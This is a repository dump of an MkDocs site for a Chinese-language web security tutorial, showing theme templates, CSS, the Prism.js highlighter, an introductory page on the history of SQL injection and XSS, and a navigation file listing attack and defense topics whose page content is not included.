-------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/modsecurity.png -------------------------------------------------------------------------------- /docs/img/myzoo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/myzoo.png -------------------------------------------------------------------------------- /docs/img/readthedocs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/readthedocs.png -------------------------------------------------------------------------------- /docs/img/register.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/register.png -------------------------------------------------------------------------------- /docs/img/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/screenshot.png -------------------------------------------------------------------------------- /docs/img/site-name.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/site-name.png -------------------------------------------------------------------------------- /docs/img/waf-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/waf-1.png -------------------------------------------------------------------------------- /docs/img/waf-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/waf-2.png -------------------------------------------------------------------------------- /docs/img/xss-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-1.png -------------------------------------------------------------------------------- /docs/img/xss-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-2.png -------------------------------------------------------------------------------- /docs/img/xss-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-3.png -------------------------------------------------------------------------------- /docs/img/xss-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-4.png -------------------------------------------------------------------------------- /docs/img/xss-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-5.png -------------------------------------------------------------------------------- /docs/img/xss-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-6.png -------------------------------------------------------------------------------- /docs/img/xss-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-7.png -------------------------------------------------------------------------------- /docs/img/xss-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-8.png -------------------------------------------------------------------------------- /docs/img/xss-9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-9.png -------------------------------------------------------------------------------- /docs/img/xss-defense-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-defense-1.png -------------------------------------------------------------------------------- /docs/img/xss-worm-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-worm-1.jpg -------------------------------------------------------------------------------- /docs/img/xss-worm-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-worm-2.png -------------------------------------------------------------------------------- /docs/img/xss-worm-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-worm-3.png -------------------------------------------------------------------------------- /docs/img/xss-worm-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-worm-4.png -------------------------------------------------------------------------------- /docs/img/xss-worm-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/docs/img/xss-worm-5.png -------------------------------------------------------------------------------- /docs/index.md: -------------------------------------------------------------------------------- 1 | # Welcome to Web Security 2 | 3 | Web是互联网的核心 4 | 5 | --- 6 | 7 | ##Web安全的发展 8 | 9 | **SQL注入的出现是 Web 安全史上的一个里程碑,**它最早出现大概是在1999年,并很快就成为 Web安全的头号大敌。黑客们发现通过 SQL 注入攻击,可以获取很多重要的、敏感的数据,甚至能够通过数据库获取系统访问权限,这种效果并不比直接攻击系统软件差,Web 攻击一下子就流行起来。SQL注入漏洞至今仍然是 Web 安全领域中的一个重要组成部分。 10 | 11 | XSS(跨站脚本攻击)的出现则是 Web 安全史上的另一个里程碑。实际上,XSS的出现时间和 SQL 注入差不多,但是真正引起人们重视则是在大概 2003 年以后。在经历了 MySpace 的 XSS 蠕虫事件后,安全界对 XSS 的重视程度提高了很多, OWASP 2007 TOP 10 威胁甚至把 XSS 排在榜首。 12 | 13 | ## 安全问题的本质是信任问题 14 | 15 | 一切的安全方案设计的基础,都是建立在信任关系上的。我们必须相信一些东西,必须有一些最基本的假设,安全方案才能得以建立;如果我们否定一切,安全方案就会如无源之水,无根之木,无法设计,也无法完成。 16 | 17 | ## 安全是一个持续的过程 18 | 19 | 正所谓,道高一尺,魔高一丈。在解决安全问题的过程中,不可能一劳永逸,也就是说“没有银弹”。 20 | 21 | 自从互联网有了安全问题以来,攻击和防御技术就在不断碰撞和对抗的过程中得到发展。从微观上来说,在某一时期可能某一方占了上风;但是从宏观上来看,某一时期的攻击或防御技术,都不可能永远有效,永远用下去。这是因为防御技术在发展的同时,攻击技术也在不断的发展,两者是互相促进的辩证关系。以不变的防御手段对抗不断发展的攻击技术,就犯了刻舟求剑的错误。 22 | -------------------------------------------------------------------------------- /material/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | {% if page_description %}{% endif %} 8 | {% if site_author %}{% endif %} 9 | {% if canonical_url %}{% endif %} 10 | {% if favicon %} 11 | {% else %}{% endif %} 12 | {% if page_title %}{{ page_title }} {% endif %} 13 | 14 | 15 | 19 | 20 | 21 | 22 | {%- for path in extra_css %} 23 | 24 | {%- endfor %} 25 | {% if google_analytics %} 26 | 35 | {% endif %} 36 | 37 | 38 | 39 | 40 | {% include "nav.html" %} 41 | 42 |
43 |
44 |
{% include "toc.html" %}
45 |
{% include "content.html" %}
46 |
47 |
48 | 57 | 58 | 59 | {%- for path in extra_javascript %} 60 | 61 | {%- endfor %} 62 | 63 | 64 | -------------------------------------------------------------------------------- /material/content.html: -------------------------------------------------------------------------------- 1 | {{ content }} 2 | -------------------------------------------------------------------------------- /material/css/base.css: -------------------------------------------------------------------------------- 1 | html { 2 | 3 | font-family: "Roboto",'Microsoft JhengHei','Microsoft Yahei',sans-serif; 4 | } 5 | footer span{ 6 | color: #333; 7 | } 8 | .index{ 9 | position: fixed !important; 10 | } 11 | .m3{ 12 | min-height: 1px; 13 | } 14 | h1{ 15 | font-size: 60px; 16 | } 17 | h2,h3{ 18 | font-size: 40px; 19 | } 20 | .disabled{ 21 | cursor: not-allowed; 22 | } 23 | .bold > a { 24 | font-weight: bold; 25 | } 26 | div.col.s12.m9 ul li{ 27 | list-style-type: disc; 28 | margin-left: 40px; 29 | } 30 | div.col.s12.m9 h1:first-of-type { 31 | text-align: center; 32 | font-size: 60px; 33 | font-weight: 300; 34 | } 35 | 36 | div.col.s12.m9 p:first-of-type { 37 | text-align: center; 38 | } 39 | 40 | div.col.s12.m9 p.admonition-title:first-of-type { 41 | text-align: left; 42 | } 43 | 44 | div.col.s12.m9 h1:first-of-type .headerlink { 45 | display: none; 46 | } 47 | 48 | div.col.s12.m9 p{ 49 | text-indent: 2em; 50 | } 51 | @media only screen and (min-width : 1200px) { 52 | .container { 53 | width: 80%; } } 54 | 55 | @media only screen and (min-width : 993px) { 56 | .container { 57 | width: 90%; } } -------------------------------------------------------------------------------- /material/css/prism.css: -------------------------------------------------------------------------------- 1 | /* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+scss+bash */ 2 | /** 3 | * prism.js default theme for JavaScript, CSS and HTML 4 | * Based on dabblet (http://dabblet.com) 5 | * @author Lea Verou 6 | */ 7 | 8 | code[class*="language-"], 9 | pre[class*="language-"] { 10 | color: black; 11 | /* text-shadow: 0 1px white;*/ 12 | font-family: 'Inconsolata', Monaco, Consolas, 'Andale Mono', monospace; 13 | direction: ltr; 14 | text-align: left; 15 | white-space: pre; 16 | word-spacing: normal; 17 | word-break: normal; 18 | line-height: 1.4; 19 | 20 | -moz-tab-size: 4; 21 | -o-tab-size: 4; 22 | tab-size: 4; 23 | 24 | -webkit-hyphens: none; 25 | -moz-hyphens: none; 26 | -ms-hyphens: none; 27 | hyphens: none; 28 | } 29 | 30 | pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, 31 | code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { 32 | text-shadow: none; 33 | background: #b3d4fc; 34 | } 35 | 36 | pre[class*="language-"]::selection, pre[class*="language-"] ::selection, 37 | code[class*="language-"]::selection, code[class*="language-"] ::selection { 38 | text-shadow: none; 39 | background: #b3d4fc; 40 | } 41 | 42 | @media print { 43 | code[class*="language-"], 44 | pre[class*="language-"] { 45 | text-shadow: none; 46 | } 47 | } 48 | 49 | /* Code blocks */ 50 | pre[class*="language-"] { 51 | padding: 1em; 52 | margin: .5em 0; 53 | overflow: auto; 54 | } 55 | 56 | :not(pre) > code[class*="language-"], 57 | pre[class*="language-"] { 58 | background: #f5f2f0; 59 | } 60 | 61 | /* Inline code */ 62 | :not(pre) > code[class*="language-"] { 63 | padding: .1em; 64 | border-radius: .3em; 65 | } 66 | 67 | .token.comment, 68 | .token.prolog, 69 | .token.doctype, 70 | .token.cdata { 71 | color: slategray; 72 | } 73 | 74 | .token.punctuation { 75 | color: #999; 76 | } 77 | 78 | .namespace { 79 | opacity: .7; 80 | } 81 | 82 | .token.property, 83 | .token.tag, 84 | .token.boolean, 85 | .token.number, 86 | .token.constant, 87 | .token.symbol, 88 | .token.deleted { 89 | color: #905; 90 | } 91 | 92 | .token.selector, 93 | .token.attr-name, 94 | .token.string, 95 | .token.char, 96 | .token.builtin, 97 | .token.inserted { 98 | color: #690; 99 | } 100 | 101 | .token.operator, 102 | .token.entity, 103 | .token.url, 104 | .language-css .token.string, 105 | .style .token.string { 106 | color: #a67f59; 107 | background: hsla(0, 0%, 100%, .5); 108 | } 109 | 110 | .token.atrule, 111 | .token.attr-value, 112 | .token.keyword { 113 | color: #07a; 114 | } 115 | 116 | .token.function { 117 | color: #DD4A68; 118 | } 119 | 120 | .token.regex, 121 | .token.important, 122 | .token.variable { 123 | color: #e90; 124 | } 125 | 126 | .token.important { 127 | font-weight: bold; 128 | } 129 | 130 | .token.entity { 131 | cursor: help; 132 | } 133 | 134 | -------------------------------------------------------------------------------- /material/font/material-design-icons/Material-Design-Icons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/material-design-icons/Material-Design-Icons.eot -------------------------------------------------------------------------------- /material/font/material-design-icons/Material-Design-Icons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/material-design-icons/Material-Design-Icons.ttf -------------------------------------------------------------------------------- /material/font/material-design-icons/Material-Design-Icons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/material-design-icons/Material-Design-Icons.woff -------------------------------------------------------------------------------- /material/font/material-design-icons/Material-Design-Icons.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/material-design-icons/Material-Design-Icons.woff2 -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Bold.ttf -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Bold.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Bold.woff -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Bold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Bold.woff2 -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Light.ttf -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Light.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Light.woff -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Light.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Light.woff2 -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Medium.ttf -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Medium.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Medium.woff -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Medium.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Medium.woff2 -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Regular.ttf -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Regular.woff -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Regular.woff2 -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Thin.ttf -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Thin.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Thin.woff -------------------------------------------------------------------------------- /material/font/roboto/Roboto-Thin.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/font/roboto/Roboto-Thin.woff2 -------------------------------------------------------------------------------- /material/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/material/img/favicon.ico -------------------------------------------------------------------------------- /material/js/init.js: -------------------------------------------------------------------------------- 1 | (function($){ 2 | $(function(){ 3 | $( "h1[id], h2[id], h3[id]" ).addClass("scrollspy"); 4 | $("img").addClass("responsive-img"); 5 | $("pre, code").addClass("language-javascript"); 6 | $('.button-collapse').sideNav(); 7 | $('.scrollspy').scrollSpy(); 8 | 9 | }); // end of document ready 10 | })(jQuery); // end of jQuery name space -------------------------------------------------------------------------------- /material/js/prism.js: -------------------------------------------------------------------------------- 1 | /* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+scss+bash */ 2 | self="undefined"!=typeof window?window:"undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?self:{};var Prism=function(){var e=/\blang(?:uage)?-(?!\*)(\w+)\b/i,t=self.Prism={util:{encode:function(e){return e instanceof n?new n(e.type,t.util.encode(e.content),e.alias):"Array"===t.util.type(e)?e.map(t.util.encode):e.replace(/&/g,"&").replace(/e.length)break e;if(!(d instanceof a)){g.lastIndex=0;var m=g.exec(d);if(m){c&&(f=m[1].length);var y=m.index-1+f,m=m[0].slice(f),v=m.length,k=y+v,b=d.slice(0,y+1),w=d.slice(k+1),O=[p,1];b&&O.push(b);var N=new a(l,u?t.tokenize(m,u):m,h);O.push(N),w&&O.push(w),Array.prototype.splice.apply(r,O)}}}}}return r},hooks:{all:{},add:function(e,n){var a=t.hooks.all;a[e]=a[e]||[],a[e].push(n)},run:function(e,n){var a=t.hooks.all[e];if(a&&a.length)for(var r,i=0;r=a[i++];)r(n)}}},n=t.Token=function(e,t,n){this.type=e,this.content=t,this.alias=n};if(n.stringify=function(e,a,r){if("string"==typeof e)return e;if("[object Array]"==Object.prototype.toString.call(e))return e.map(function(t){return n.stringify(t,a,e)}).join("");var i={type:e.type,content:n.stringify(e.content,a,r),tag:"span",classes:["token",e.type],attributes:{},language:a,parent:r};if("comment"==i.type&&(i.attributes.spellcheck="true"),e.alias){var l="Array"===t.util.type(e.alias)?e.alias:[e.alias];Array.prototype.push.apply(i.classes,l)}t.hooks.run("wrap",i);var s="";for(var o in i.attributes)s+=o+'="'+(i.attributes[o]||"")+'"';return"<"+i.tag+' class="'+i.classes.join(" ")+'" '+s+">"+i.content+""},!self.document)return self.addEventListener?(self.addEventListener("message",function(e){var n=JSON.parse(e.data),a=n.language,r=n.code;self.postMessage(JSON.stringify(t.util.encode(t.tokenize(r,t.languages[a])))),self.close()},!1),self.Prism):self.Prism;var a=document.getElementsByTagName("script");return a=a[a.length-1],a&&(t.filename=a.src,document.addEventListener&&!a.hasAttribute("data-manual")&&document.addEventListener("DOMContentLoaded",t.highlightAll)),self.Prism}();"undefined"!=typeof module&&module.exports&&(module.exports=Prism);; 3 | Prism.languages.markup={comment://g,prolog:/<\?.+?\?>/,doctype://,cdata://i,tag:{pattern:/<\/?[\w:-]+\s*(?:\s+[\w:-]+(?:=(?:("|')(\\?[\w\W])*?\1|[^\s'">=]+))?\s*)*\/?>/gi,inside:{tag:{pattern:/^<\/?[\w:-]+/i,inside:{punctuation:/^<\/?/,namespace:/^[\w-]+?:/}},"attr-value":{pattern:/=(?:('|")[\w\W]*?(\1)|[^\s>]+)/gi,inside:{punctuation:/=|>|"/g}},punctuation:/\/?>/g,"attr-name":{pattern:/[\w:-]+/g,inside:{namespace:/^[\w-]+?:/}}}},entity:/\&#?[\da-z]{1,8};/gi},Prism.hooks.add("wrap",function(t){"entity"===t.type&&(t.attributes.title=t.content.replace(/&/,"&"))});; 4 | Prism.languages.css={comment:/\/\*[\w\W]*?\*\//g,atrule:{pattern:/@[\w-]+?.*?(;|(?=\s*{))/gi,inside:{punctuation:/[;:]/g}},url:/url\((["']?).*?\1\)/gi,selector:/[^\{\}\s][^\{\};]*(?=\s*\{)/g,property:/(\b|\B)[\w-]+(?=\s*:)/gi,string:/("|')(\\?.)*?\1/g,important:/\B!important\b/gi,punctuation:/[\{\};:]/g,"function":/[-a-z0-9]+(?=\()/gi},Prism.languages.markup&&(Prism.languages.insertBefore("markup","tag",{style:{pattern:/[\w\W]*?<\/style>/gi,inside:{tag:{pattern:/|<\/style>/gi,inside:Prism.languages.markup.tag.inside},rest:Prism.languages.css},alias:"language-css"}}),Prism.languages.insertBefore("inside","attr-value",{"style-attr":{pattern:/\s*style=("|').+?\1/gi,inside:{"attr-name":{pattern:/^\s*style/gi,inside:Prism.languages.markup.tag.inside},punctuation:/^\s*=\s*['"]|['"]\s*$/,"attr-value":{pattern:/.+/gi,inside:Prism.languages.css}},alias:"language-css"}},Prism.languages.markup.tag));; 5 | Prism.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\w\W]*?\*\//g,lookbehind:!0},{pattern:/(^|[^\\:])\/\/.*?(\r?\n|$)/g,lookbehind:!0}],string:/("|')(\\?.)*?\1/g,"class-name":{pattern:/((?:(?:class|interface|extends|implements|trait|instanceof|new)\s+)|(?:catch\s+\())[a-z0-9_\.\\]+/gi,lookbehind:!0,inside:{punctuation:/(\.|\\)/}},keyword:/\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\b/g,"boolean":/\b(true|false)\b/g,"function":{pattern:/[a-z0-9_]+\(/gi,inside:{punctuation:/\(/}},number:/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee]-?\d+)?)\b/g,operator:/[-+]{1,2}|!|<=?|>=?|={1,3}|&{1,2}|\|?\||\?|\*|\/|\~|\^|\%/g,ignore:/&(lt|gt|amp);/gi,punctuation:/[{}[\];(),.:]/g};; 6 | Prism.languages.javascript=Prism.languages.extend("clike",{keyword:/\b(break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|false|finally|for|function|get|if|implements|import|in|instanceof|interface|let|new|null|package|private|protected|public|return|set|static|super|switch|this|throw|true|try|typeof|var|void|while|with|yield)\b/g,number:/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee][+-]?\d+)?|NaN|-?Infinity)\b/g,"function":/(?!\d)[a-z0-9_$]+(?=\()/gi}),Prism.languages.insertBefore("javascript","keyword",{regex:{pattern:/(^|[^/])\/(?!\/)(\[.+?]|\\.|[^/\r\n])+\/[gim]{0,3}(?=\s*($|[\r\n,.;})]))/g,lookbehind:!0}}),Prism.languages.markup&&Prism.languages.insertBefore("markup","tag",{script:{pattern:/[\w\W]*?<\/script>/gi,inside:{tag:{pattern:/|<\/script>/gi,inside:Prism.languages.markup.tag.inside},rest:Prism.languages.javascript},alias:"language-javascript"}});; 7 | Prism.languages.scss=Prism.languages.extend("css",{comment:{pattern:/(^|[^\\])(\/\*[\w\W]*?\*\/|\/\/.*?(\r?\n|$))/g,lookbehind:!0},atrule:/@[\w-]+(?=\s+(\(|\{|;))/gi,url:/([-a-z]+-)*url(?=\()/gi,selector:/([^@;\{\}\(\)]?([^@;\{\}\(\)]|&|\#\{\$[-_\w]+\})+)(?=\s*\{(\}|\s|[^\}]+(:|\{)[^\}]+))/gm}),Prism.languages.insertBefore("scss","atrule",{keyword:/@(if|else if|else|for|each|while|import|extend|debug|warn|mixin|include|function|return|content)|(?=@for\s+\$[-_\w]+\s)+from/i}),Prism.languages.insertBefore("scss","property",{variable:/((\$[-_\w]+)|(#\{\$[-_\w]+\}))/i}),Prism.languages.insertBefore("scss","ignore",{placeholder:/%[-_\w]+/i,statement:/\B!(default|optional)\b/gi,"boolean":/\b(true|false)\b/g,"null":/\b(null)\b/g,operator:/\s+([-+]{1,2}|={1,2}|!=|\|?\||\?|\*|\/|\%)\s+/g});; 8 | Prism.languages.bash=Prism.languages.extend("clike",{comment:{pattern:/(^|[^"{\\])(#.*?(\r?\n|$))/g,lookbehind:!0},string:{pattern:/("|')(\\?[\s\S])*?\1/g,inside:{property:/\$([a-zA-Z0-9_#\?\-\*!@]+|\{[^\}]+\})/g}},keyword:/\b(if|then|else|elif|fi|for|break|continue|while|in|case|function|select|do|done|until|echo|exit|return|set|declare)\b/g}),Prism.languages.insertBefore("bash","keyword",{property:/\$([a-zA-Z0-9_#\?\-\*!@]+|\{[^}]+\})/g}),Prism.languages.insertBefore("bash","comment",{important:/(^#!\s*\/bin\/bash)|(^#!\s*\/bin\/sh)/g});; 9 | -------------------------------------------------------------------------------- /material/nav.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /material/toc.html: -------------------------------------------------------------------------------- 1 |
2 | 10 |
11 | -------------------------------------------------------------------------------- /mkdocs.yml: -------------------------------------------------------------------------------- 1 | site_name: Web Security 2 | pages: 3 | - [index.md, Home] 4 | #- [help.md, Help] 5 | #- [about.md, About] 6 | - ['content/XSS/Overview.md', 'XSS', 'XSS'] 7 | - ['content/XSS/XSS-Cookie.md', 'XSS', 'Stealing Cookie With XSS'] 8 | - ['content/XSS/CSS-history-hack.md', 'XSS', 'CSS History Hack'] 9 | - ['content/XSS/XSS-Worm.md', 'XSS', 'XSS Worm'] 10 | - ['content/XSS/XSS-Defense.md', 'XSS', 'XSS Defense'] 11 | - ['content/Browser_Security/Same-Origin-Policy.md', 'Browser Security', 'Same Origin Policy'] 12 | - ['content/Browser_Security/Browser-Sandbox.md', 'Browser Security', 'Browser Sandbox'] 13 | - ['content/Browser_Security/Malicious-URL-interception.md', 'Browser Security', 'Malicious URL interception'] 14 | - ['content/Web_Server_Sercurity/Web-Server-Sercurity.md','Web服务配置安全', 'Web Server Sercurity'] 15 | - ['content/Web_Server_Sercurity/Apache2-WAF.md', 'Web服务配置安全', 'Apache2 ModSecurity'] 16 | - ['content/SQL_injection/Overview.md', 'SQL_injection', 'Overview'] 17 | - ['content/SQL_injection/SQL_injection.md', 'SQL_injection', 'SQL_injection'] 18 | - ['content/SQL_injection/SQL_injection_defence.md', 'SQL_injection', 'SQL_injection defence'] 19 | - ['content/Clickjacking/Overview.md', 'Clickjacking', 'Overview'] 20 | - ['content/Clickjacking/Click_Jacking.md', 'Clickjacking', 'Click_Jacking'] 21 | - ['content/Clickjacking/Click_Jacking_defence.md', 'Clickjacking', 'Click Jacking defence'] 22 | - ['content/CSRF/Overview.md', 'CSRF', 'CSRF'] 23 | - ['content/CSRF/CSRF_Attack.md', 'CSRF', 'CSRF Attack'] 24 | - ['content/CSRF/CSRF_Defense.md', 'CSRF', 'CSRF Defense'] 25 | - ['content/Web_framework/Overview.md', 'Web框架安全', 'Web框架安全概述'] 26 | - ['content/Web_framework/XSS.md', 'Web框架安全', '模板引擎与XSS防御'] 27 | - ['content/Web_framework/csrf.md', 'Web框架安全', 'Web框架与CSRF防御'] 28 | - ['content/DOS/Overviewed.md', '拒绝服务攻击', 'DOS攻击原理'] 29 | - ['content/DOS/general-dos.md', '拒绝服务攻击', '通用的DoS攻击技术'] 30 | - ['content/Access_Control/Overview.md', 'Access_Control', 'Access_Control'] 31 | - ['content/Access_Control/DAC.md', 'Access_Control', 'DAC'] 32 | - ['content/Access_Control/MAC.md', 'Access_Control', 'MAC'] 33 | - ['content/Access_Control/RBAC.md', 'Access_Control', 'RBAC'] 34 | 35 | 36 | theme_dir: 'material' 37 | repo_url: https://github.com/acgotaku/WebSecurity 38 | copyright: Copyright © 2015, CSS WebSecurity. 39 | -------------------------------------------------------------------------------- /orange/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | {% if page_description %}{% endif %} 8 | {% if site_author %}{% endif %} 9 | {% if canonical_url %}{% endif %} 10 | {% if favicon %} 11 | {% else %}{% endif %} 12 | {% if page_title %}{{ page_title }} - {% endif %}{{ site_name }} 13 | 14 | 15 | 16 | 17 | 18 | {%- for path in extra_css %} 19 | 20 | {%- endfor %} 21 | 22 | 23 | 27 | 28 | {% if google_analytics %} 29 | 38 | {% endif %} 39 | 40 | 41 | 42 | 43 | {% include "nav.html" %} 44 | 45 |
46 |
{% include "toc.html" %}
47 |
{% include "content.html" %}
48 |
49 |
50 |
51 | {% if copyright %} 52 |

{{ copyright }}

53 | {% endif %} 54 |
